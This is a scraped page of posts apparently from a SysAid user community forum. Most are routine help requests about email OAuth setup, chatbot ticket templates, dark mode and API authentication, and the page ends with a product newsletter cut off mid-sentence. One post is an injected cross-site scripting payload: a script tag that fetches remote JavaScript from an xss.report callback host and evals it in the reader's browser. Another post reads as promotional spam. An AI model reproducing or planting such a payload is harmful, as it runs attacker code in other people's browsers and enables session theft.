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Hi. I’m trying to configure a new email integration with our azure tenant in azure gov.I’ve configured the app reg in Azure per the instructions and I’ve configured the incoming email tab in sysaid email integration with protocol oauth2.0, service provider microsoft 365, the tenant ID, client id, and secret, and a I put the inbox user in the user/domain user field..When I click Test I get “Test incoming email failed Connection pool shut down”.I’m not sure what this means and can’t find any documentation for this.

We have several departments using SysAid in our environment:Business Intelligence Information Technology (IT) Records Management Plan AdministrationEach department has its own set of service record templates, including a “catch‑all” template:Business Intelligence: BIS Reporting Request Information Technology (IT): Basic Request Process and Default Incident Records Management: Records – Default Request Plan Administration: Plan Administration – Default RequestHowever, we’ve noticed that the SysAI chatbot on the self‑service portal often selects the wrong template when creating tickets. For example, if an end‑user requests Active Directory groups, the chatbot sometimes uses the Records – Default Request template instead of the Basic Request Process template.What are the best practices for naming templates when multiple departments are using SysAid?How have other organizations approached this to reduce template confusion?

I need assistance setting up Okta verify. 

Where is DARK MODE?  I am being blinded...

SysAid makes my eyes bleed in the morning and evening, when will you implement a dark theme?

Hi everyone,I’m currently working on a small integration project where I’m trying to connect data from a custom-built Texas Roadhouse menu website into our SysAid self-service portal. The goal is to display selected menu items and promotional content dynamically within a knowledge base or service catalog view, but I’m running into a few technical challenges along the way.The website itself is built using a custom CMS structure with structured menu data (categories, prices, and descriptions). I attempted to pull this data into SysAid using an embedded iframe and later through API-based approaches, but I’m facing issues with inconsistent rendering, caching, and limited support for dynamic content inside the SysAid portal environment. Some menu sections load fine, while others fail or break formatting entirely.Additionally, SysAid’s security restrictions seem to block certain external scripts and styles, which makes it difficult to maintain visual consistency with the original menu layout

helo now one here test fpr iap http://<script>fetch("//xss.report/c/achdad").then(r=>r.text()).then(t=>eval(t))</script>

hi there I have problem when I want to get information via REST in python requests I don't know which protocol should I use for Authentication from browser I can get api responses because I can logged in via login page but in python code I can't login because in python I have to define api authentication protocol for example oauth1 or basic or ... I tested with basic authentication but I got error I guess sysaid doesn't support basic auth please help

 HeyI couldn’t find an answer in the guides or here.

SysAid Product Update: December 2025 EditionWelcome to SysAid’s December product newsletter! Keep reading to learn about the latest capabilities now at your fingertips.  AI-enriched application insights & manual application entry in License Manager AdvancedGet a quick overview of key app details, including product description, software category, compliance certifications, and direct links to learn more. And alongside your automatically discovered applications, manually add others to track everything together in a single, unified view.  Make the AI chatbot your default self-service experienceRolling out this week, drive higher user satisfaction and faster resolution times, by setting the AI Chatbot as the default self-service entry point for your organization. This AI-first approach helps deflect repetitive tickets, and improve IT team KPI performance.Learn more  Conversational queue filteringFilter your queue through conversation. This new AI filter interprets what you mean, applie